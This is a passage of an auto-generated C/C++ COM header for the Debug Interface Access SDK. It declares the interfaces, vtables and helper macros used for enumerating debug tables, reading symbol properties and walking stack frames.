STDMETHODCALLTYPE Next( ULONG celt, IDiaTable **rgelt, ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Skip( /* [in] */ ULONG celt) = 0; virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0; virtual HRESULT STDMETHODCALLTYPE Clone( /* [out] */ IDiaEnumTables **ppenum) = 0; }; #else /* C style interface */ typedef struct IDiaEnumTablesVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumTables * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumTables * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumTables * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( IDiaEnumTables * This, /* [retval][out] */ IUnknown **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( IDiaEnumTables * This, /* [retval][out] */ LONG *pRetVal); /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( IDiaEnumTables * This, /* [in] */ VARIANT index, /* [retval][out] */ IDiaTable **table); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumTables * This, ULONG celt, IDiaTable **rgelt, ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Skip )( IDiaEnumTables * This, /* [in] */ ULONG celt); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaEnumTables * This); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumTables * This, /* [out] */ IDiaEnumTables **ppenum); END_INTERFACE } IDiaEnumTablesVtbl; interface IDiaEnumTables { CONST_VTBL struct IDiaEnumTablesVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumTables_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumTables_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumTables_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumTables_get__NewEnum(This,pRetVal) \ ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) #define IDiaEnumTables_get_Count(This,pRetVal) \ ( (This)->lpVtbl -> get_Count(This,pRetVal) ) #define IDiaEnumTables_Item(This,index,table) \ ( (This)->lpVtbl -> Item(This,index,table) ) #define IDiaEnumTables_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumTables_Skip(This,celt) \ ( (This)->lpVtbl -> Skip(This,celt) ) #define IDiaEnumTables_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #define IDiaEnumTables_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumTables_INTERFACE_DEFINED__ */ #ifndef __Dia2Lib_LIBRARY_DEFINED__ #define __Dia2Lib_LIBRARY_DEFINED__ /* library Dia2Lib */ /* [helpstring][version][uuid] */ EXTERN_C const IID LIBID_Dia2Lib; EXTERN_C const CLSID CLSID_DiaSource; #ifdef __cplusplus class DECLSPEC_UUID("e6756135-1e65-4d17-8576-610761398c3c") DiaSource; #endif EXTERN_C const CLSID CLSID_DiaSourceAlt; #ifdef __cplusplus class DECLSPEC_UUID("91904831-49ca-4766-b95c-25397e2dd6dc") DiaSourceAlt; #endif EXTERN_C const CLSID CLSID_DiaStackWalker; #ifdef __cplusplus class DECLSPEC_UUID("ce4a85db-5768-475b-a4e1-c0bca2112a6b") DiaStackWalker; #endif #endif /* __Dia2Lib_LIBRARY_DEFINED__ */ /* interface __MIDL_itf_dia2_0000_0041 */ /* [local] */ #define DiaTable_Symbols ( L"Symbols" ) #define DiaTable_Sections ( L"Sections" ) #define DiaTable_SrcFiles ( L"SourceFiles" ) #define DiaTable_LineNums ( L"LineNumbers" ) #define DiaTable_SegMap ( L"SegmentMap" ) #define DiaTable_Dbg ( L"Dbg" ) #define DiaTable_InjSrc ( L"InjectedSource" ) #define DiaTable_FrameData ( L"FrameData" ) #define DiaTable_InputAssemblyFiles ( L"InputAssemblyFiles" ) extern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0041_v0_0_c_ifspec; extern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0041_v0_0_s_ifspec; #ifndef __IDiaPropertyStorage_INTERFACE_DEFINED__ #define __IDiaPropertyStorage_INTERFACE_DEFINED__ /* interface IDiaPropertyStorage */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaPropertyStorage; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("9d416f9c-e184-45b2-a4f0-ce517f719e9b") IDiaPropertyStorage : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE ReadMultiple( /* [in] */ ULONG cpspec, /* [size_is][in] */ const PROPSPEC *rgpspec, /* [size_is][out] */ PROPVARIANT *rgvar) = 0; virtual HRESULT STDMETHODCALLTYPE ReadPropertyNames( /* [in] */ ULONG cpropid, /* [size_is][in] */ const PROPID *rgpropid, /* [size_is][out][in] */ BSTR *rglpwstrName) = 0; virtual HRESULT STDMETHODCALLTYPE Enum( /* [out] */ IEnumSTATPROPSTG **ppenum) = 0; virtual HRESULT STDMETHODCALLTYPE ReadDWORD( /* [in] */ PROPID id, /* [out] */ DWORD *pValue) = 0; virtual HRESULT STDMETHODCALLTYPE ReadLONG( /* [in] */ PROPID id, /* [out] */ LONG *pValue) = 0; virtual HRESULT STDMETHODCALLTYPE ReadBOOL( /* [in] */ PROPID id, /* [out] */ BOOL *pValue) = 0; virtual HRESULT STDMETHODCALLTYPE ReadULONGLONG( /* [in] */ PROPID id, /* [out] */ ULONGLONG *pValue) = 0; virtual HRESULT STDMETHODCALLTYPE ReadBSTR( /* [in] */ PROPID id, /* [out] */ BSTR *pValue) = 0; }; #else /* C style interface */ typedef struct IDiaPropertyStorageVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaPropertyStorage * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaPropertyStorage * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaPropertyStorage * This); HRESULT ( STDMETHODCALLTYPE *ReadMultiple )( IDiaPropertyStorage * This, /* [in] */ ULONG cpspec, /* [size_is][in] */ const PROPSPEC *rgpspec, /* [size_is][out] */ PROPVARIANT *rgvar); HRESULT ( STDMETHODCALLTYPE *ReadPropertyNames )( IDiaPropertyStorage * This, /* [in] */ ULONG cpropid, /* [size_is][in] */ const PROPID *rgpropid, /* [size_is][out][in] */ BSTR *rglpwstrName); HRESULT ( STDMETHODCALLTYPE *Enum )( IDiaPropertyStorage * This, /* [out] */ IEnumSTATPROPSTG **ppenum); HRESULT ( STDMETHODCALLTYPE *ReadDWORD )( IDiaPropertyStorage * This, /* [in] */ PROPID id, /* [out] */ DWORD *pValue); HRESULT ( STDMETHODCALLTYPE *ReadLONG )( IDiaPropertyStorage * This, /* [in] */ PROPID id, /* [out] */ LONG *pValue); HRESULT ( STDMETHODCALLTYPE *ReadBOOL )( IDiaPropertyStorage * This, /* [in] */ PROPID id, /* [out] */ BOOL *pValue); HRESULT ( STDMETHODCALLTYPE *ReadULONGLONG )( IDiaPropertyStorage * This, /* [in] */ PROPID id, /* [out] */ ULONGLONG *pValue); HRESULT ( STDMETHODCALLTYPE *ReadBSTR )( IDiaPropertyStorage * This, /* [in] */ PROPID id, /* [out] */ BSTR *pValue); END_INTERFACE } IDiaPropertyStorageVtbl; interface IDiaPropertyStorage { CONST_VTBL struct IDiaPropertyStorageVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaPropertyStorage_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaPropertyStorage_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaPropertyStorage_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaPropertyStorage_ReadMultiple(This,cpspec,rgpspec,rgvar) \ ( (This)->lpVtbl -> ReadMultiple(This,cpspec,rgpspec,rgvar) ) #define IDiaPropertyStorage_ReadPropertyNames(This,cpropid,rgpropid,rglpwstrName) \ ( (This)->lpVtbl -> ReadPropertyNames(This,cpropid,rgpropid,rglpwstrName) ) #define IDiaPropertyStorage_Enum(This,ppenum) \ ( (This)->lpVtbl -> Enum(This,ppenum) ) #define IDiaPropertyStorage_ReadDWORD(This,id,pValue) \ ( (This)->lpVtbl -> ReadDWORD(This,id,pValue) ) #define IDiaPropertyStorage_ReadLONG(This,id,pValue) \ ( (This)->lpVtbl -> ReadLONG(This,id,pValue) ) #define IDiaPropertyStorage_ReadBOOL(This,id,pValue) \ ( (This)->lpVtbl -> ReadBOOL(This,id,pValue) ) #define IDiaPropertyStorage_ReadULONGLONG(This,id,pValue) \ ( (This)->lpVtbl -> ReadULONGLONG(This,id,pValue) ) #define IDiaPropertyStorage_ReadBSTR(This,id,pValue) \ ( (This)->lpVtbl -> ReadBSTR(This,id,pValue) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaPropertyStorage_INTERFACE_DEFINED__ */ #ifndef __IDiaStackFrame_INTERFACE_DEFINED__ #define __IDiaStackFrame_INTERFACE_DEFINED__ /* interface IDiaStackFrame */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaStackFrame; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("5edbc96d-cdd6-4792-afbe-cc89007d9610") IDiaStackFrame : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_type( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_base( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_size( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_returnAddress( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_localsBase( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthLocals( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthParams( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthProlog( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthSavedRegisters( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_systemExceptionHandling( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_cplusplusExceptionHandling( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_functionStart( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_allocatesBasePointer( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_maxStack( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_registerValue( /* [in] */ DWORD index, /* [retval][out] */ ULONGLONG *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaStackFrameVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaStackFrame * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaStackFrame * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaStackFrame * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( IDiaStackFrame * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_base )( IDiaStackFrame * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_size )( IDiaStackFrame * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_returnAddress )( IDiaStackFrame * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localsBase )( IDiaStackFrame * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthLocals )( IDiaStackFrame * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthParams )( IDiaStackFrame * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthProlog )( IDiaStackFrame * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthSavedRegisters )( IDiaStackFrame * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_systemExceptionHandling )( IDiaStackFrame * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_cplusplusExceptionHandling )( IDiaStackFrame * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_functionStart )( IDiaStackFrame * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_allocatesBasePointer )( IDiaStackFrame * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_maxStack )( IDiaStackFrame * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerValue )( IDiaStackFrame * This, /* [in] */ DWORD index, /* [retval][out] */ ULONGLONG *pRetVal); END_INTERFACE } IDiaStackFrameVtbl; interface IDiaStackFrame { CONST_VTBL struct IDiaStackFrameVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaStackFrame_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaStackFrame_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaStackFrame_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaStackFrame_get_type(This,pRetVal) \ ( (This)->lpVtbl -> get_type(This,pRetVal) ) #define IDiaStackFrame_get_base(This,pRetVal) \ ( (This)->lpVtbl -> get_base(This,pRetVal) ) #define IDiaStackFrame_get_size(This,pRetVal) \ ( (This)->lpVtbl -> get_size(This,pRetVal) ) #define IDiaStackFrame_get_returnAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_returnAddress(This,pRetVal) ) #define IDiaStackFrame_get_localsBase(This,pRetVal) \ ( (This)->lpVtbl -> get_localsBase(This,pRetVal) ) #define IDiaStackFrame_get_lengthLocals(This,pRetVal) \ ( (This)->lpVtbl -> get_lengthLocals(This,pRetVal) ) #define IDiaStackFrame_get_lengthParams(This,pRetVal) \ ( (This)->lpVtbl -> get_lengthParams(This,pRetVal) ) #define IDiaStackFrame_get_lengthProlog(This,pRetVal) \ ( (This)->lpVtbl -> get_lengthProlog(This,pRetVal) ) #define IDiaStackFrame_get_lengthSavedRegisters(This,pRetVal) \ ( (This)->lpVtbl -> get_lengthSavedRegisters(This,pRetVal) ) #define IDiaStackFrame_get_systemExceptionHandling(This,pRetVal) \ ( (This)->lpVtbl -> get_systemExceptionHandling(This,pRetVal) ) #define IDiaStackFrame_get_cplusplusExceptionHandling(This,pRetVal) \ ( (This)->lpVtbl -> get_cplusplusExceptionHandling(This,pRetVal) ) #define IDiaStackFrame_get_functionStart(This,pRetVal) \ ( (This)->lpVtbl -> get_functionStart(This,pRetVal) ) #define IDiaStackFrame_get_allocatesBasePointer(This,pRetVal) \ ( (This)->lpVtbl -> get_allocatesBasePointer(This,pRetVal) ) #define IDiaStackFrame_get_maxStack(This,pRetVal) \ ( (This)->lpVtbl -> get_maxStack(This,pRetVal) ) #define IDiaStackFrame_get_registerValue(This,index,pRetVal) \ ( (This)->lpVtbl -> get_registerValue(This,index,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaStackFrame_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumStackFrames_INTERFACE_DEFINED__ #define __IDiaEnumStackFrames_INTERFACE_DEFINED__ /* interface IDiaEnumStackFrames */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumStackFrames; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("ec9d461d-ce74-4711-a020-7d8f9a1dd255") IDiaEnumStackFrames : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE Next( /* [in] */ ULONG celt, /* [out] */ IDiaStackFrame **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0; }; #else /* C style interface */ typedef struct IDiaEnumStackFramesVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumStackFrames * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumStackFrames * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumStackFrames * This); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumStackFrames * This, /* [in] */ ULONG celt, /* [out] */ IDiaStackFrame **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaEnumStackFrames * This); END_INTERFACE } IDiaEnumStackFramesVtbl; interface IDiaEnumStackFrames { CONST_VTBL struct IDiaEnumStackFramesVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumStackFrames_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumStackFrames_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumStackFrames_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumStackFrames_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumStackFrames_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumStackFrames_INTERFACE_DEFINED__ */ /* interface __MIDL_itf_dia2_0000_0044 */ /* [local] */ typedef /* [public] */ struct __MIDL___MIDL_itf_dia2_0000_0044_0001 { DWORD ulOffStart; DWORD cbProcSize; DWORD cdwLocals; WORD cdwParams; WORD cdwFlags; } FPODATA; extern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0044_v0_0_c_ifspec; extern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0044_v0_0_s_ifspec; #ifndef __IDiaStackWalkHelper_INTERFACE_DEFINED__ #define __IDiaStackWalkHelper_INTERFACE_DEFINED__ /* interface IDiaStackWalkHelper */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaStackWalkHelper; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("21F81B1B-C5BB-42A3-BC4F-CCBAA75B9F19") IDiaStackWalkHelper : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_registerValue( /* [in] */ DWORD index, /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_registerValue( /* [in] */ DWORD index, /* [in] */ ULONGLONG NewVal) = 0; virtual HRESULT STDMETHODCALLTYPE readMemory( /* [in] */ enum MemoryTypeEnum type, /* [in] */ ULONGLONG va, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData) = 0; virtual HRESULT STDMETHODCALLTYPE searchForReturnAddress( /* [in] */ IDiaFrameData *frame, /* [out] */ ULONGLONG *returnAddress) = 0; virtual HRESULT STDMETHODCALLTYPE searchForReturnAddressStart( /* [in] */ IDiaFrameData *frame, /* [in] */ ULONGLONG startAddress, /* [out] */ ULONGLONG *returnAddress) = 0; virtual HRESULT STDMETHODCALLTYPE frameForVA( /* [in] */ ULONGLONG va, /* [out] */ IDiaFrameData **ppFrame) = 0; virtual HRESULT STDMETHODCALLTYPE symbolForVA( /* [in] */ ULONGLONG va, /* [out] */ IDiaSymbol **ppSymbol) = 0; virtual HRESULT STDMETHODCALLTYPE pdataForVA( /* [in] */ ULONGLONG va, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData) = 0; virtual HRESULT STDMETHODCALLTYPE imageForVA( /* [in] */ ULONGLONG vaContext, /* [out] */ ULONGLONG *pvaImageStart) = 0; virtual HRESULT STDMETHODCALLTYPE addressForVA( /* [in] */ ULONGLONG va, /* [out] */ DWORD *pISect, /* [out] */ DWORD *pOffset) = 0; virtual HRESULT STDMETHODCALLTYPE numberOfFunctionFragmentsForVA( /* [in] */ ULONGLONG vaFunc, /* [in] */ DWORD cbFunc, /* [out] */ DWORD *pNumFragments) = 0; virtual HRESULT STDMETHODCALLTYPE functionFragmentsForVA( /* [in] */ ULONGLONG vaFunc, /* [in] */ DWORD cbFunc, /* [in] */ DWORD cFragments, /* [out] */ ULONGLONG *pVaFragment, /* [out] */ DWORD *pLenFragment) = 0; }; #else /* C style interface */ typedef struct IDiaStackWalkHelperVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaStackWalkHelper * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaStackWalkHelper * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaStackWalkHelper * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerValue )( IDiaStackWalkHelper * This, /* [in] */ DWORD index, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_registerValue )( IDiaStackWalkHelper * This, /* [in] */ DWORD index, /* [in] */ ULONGLONG NewVal); HRESULT ( STDMETHODCALLTYPE *readMemory )( IDiaStackWalkHelper * This, /* [in] */ enum MemoryTypeEnum type, /* [in] */ ULONGLONG va, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *searchForReturnAddress )( IDiaStackWalkHelper * This, /* [in] */ IDiaFrameData *frame, /* [out] */ ULONGLONG *returnAddress); HRESULT ( STDMETHODCALLTYPE *searchForReturnAddressStart )( IDiaStackWalkHelper * This, /* [in] */ IDiaFrameData *frame, /* [in] */ ULONGLONG startAddress, /* [out] */ ULONGLONG *returnAddress); HRESULT ( STDMETHODCALLTYPE *frameForVA )( IDiaStackWalkHelper * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaFrameData **ppFrame); HRESULT ( STDMETHODCALLTYPE *symbolForVA )( IDiaStackWalkHelper * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaSymbol **ppSymbol); HRESULT ( STDMETHODCALLTYPE *pdataForVA )( IDiaStackWalkHelper * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *imageForVA )( IDiaStackWalkHelper * This, /* [in] */ ULONGLONG vaContext, /* [out] */ ULONGLONG *pvaImageStart); HRESULT ( STDMETHODCALLTYPE *addressForVA )( IDiaStackWalkHelper * This, /* [in] */ ULONGLONG va, /* [out] */ DWORD *pISect, /* [out] */ DWORD *pOffset); HRESULT ( STDMETHODCALLTYPE *numberOfFunctionFragmentsForVA )( IDiaStackWalkHelper * This, /* [in] */ ULONGLONG vaFunc, /* [in] */ DWORD cbFunc, /* [out] */ DWORD *pNumFragments); HRESULT ( STDMETHODCALLTYPE *functionFragmentsForVA )( IDiaStackWalkHelper * This, /* [in] */ ULONGLONG vaFunc, /* [in] */ DWORD cbFunc, /* [in] */ DWORD cFragments, /* [out] */ ULONGLONG *pVaFragment, /* [out] */ DWORD *pLenFragment); END_INTERFACE } IDiaStackWalkHelperVtbl; interface IDiaStackWalkHelper { CONST_VTBL struct IDiaStackWalkHelperVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaStackWalkHelper_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaStackWalkHelper_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaStackWalkHelper_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaStackWalkHelper_get_registerValue(This,index,pRetVal) \ ( (This)->lpVtbl -> get_registerValue(This,index,pRetVal) ) #define IDiaStackWalkHelper_put_registerValue(This,index,NewVal) \ ( (This)->lpVtbl -> put_registerValue(This,index,NewVal) ) #define IDiaStackWalkHelper_readMemory(This,type,va,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> readMemory(This,type,va,cbData,pcbData,pbData) ) #define IDiaStackWalkHelper_searchForReturnAddress(This,frame,returnAddress) \ ( (This)->lpVtbl -> searchForReturnAddress(This,frame,returnAddress) ) #define IDiaStackWalkHelper_searchForReturnAddressStart(This,frame,startAddress,returnAddress) \ ( (This)->lpVtbl -> searchForReturnAddressStart(This,frame,startAddress,returnAddress) ) #define IDiaStackWalkHelper_frameForVA(This,va,ppFrame) \ ( (This)->lpVtbl -> frameForVA(This,va,ppFrame) ) #define IDiaStackWalkHelper_symbolForVA(This,va,ppSymbol) \ ( (This)->lpVtbl -> symbolForVA(This,va,ppSymbol) ) #define IDiaStackWalkHelper_pdataForVA(This,va,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> pdataForVA(This,va,cbData,pcbData,pbData) ) #define IDiaStackWalkHelper_imageForVA(This,vaContext,pvaImageStart) \ ( (This)->lpVtbl -> imageForVA(This,vaContext,pvaImageStart) ) #define IDiaStackWalkHelper_addressForVA(This,va,pISect,pOffset) \ ( (This)->lpVtbl -> addressForVA(This,va,pISect,pOffset) ) #define IDiaStackWalkHelper_numberOfFunctionFragmentsForVA(This,vaFunc,cbFunc,pNumFragments) \ ( (This)->lpVtbl -> numberOfFunctionFragmentsForVA(This,vaFunc,cbFunc,pNumFragments) ) #define IDiaStackWalkHelper_functionFragmentsForVA(This,vaFunc,cbFunc,cFragments,pVaFragment,pLenFragment) \ ( (This)->lpVtbl -> functionFragmentsForVA(This,vaFunc,cbFunc,cFragments,pVaFragment,pLenFragment) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaStackWalkHelper_INTERFACE_DEFINED__ */ #ifndef __IDiaStackWalker_INTERFACE_DEFINED__ #define __IDiaStackWalker_INTERFACE_DEFINED__ /* interface IDiaStackWalker */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaStackWalker; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("5485216b-a54c-469f-9670-52b24d5229bb") IDiaStackWalker : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE getEnumFrames( /* [in] */ IDiaStackWalkHelper *pHelper, /* [out] */ IDiaEnumStackFrames **ppEnum) = 0; virtual HRESULT STDMETHODCALLTYPE getEnumFrames2( /* [in] */ enum CV_CPU_TYPE_e cpuid, /* [in] */ IDiaStackWalkHelper *pHelper, /* [out] */ IDiaEnumStackFrames **ppEnum) = 0; }; #else /* C style interface */ typedef struct IDiaStackWalkerVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaStackWalker * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaStackWalker * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaStackWalker * This); HRESULT ( STDMETHODCALLTYPE *getEnumFrames )( IDiaStackWalker * This, /* [in] */ IDiaStackWalkHelper *pHelper, /* [out] */ IDiaEnumStackFrames **ppEnum); HRESULT ( STDMETHODCALLTYPE *getEnumFrames2 )( IDiaStackWalker * This, /* [in] */ enum CV_CPU_TYPE_e cpuid, /* [in] */ IDiaStackWalkHelper *pHelper, /* [out] */ IDiaEnumStackFrames **ppEnum); END_INTERFACE } IDiaStackWalkerVtbl; interface IDiaStackWalker { CONST_VTBL struct IDiaStackWalkerVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaStackWalker_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaStackWalker_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define 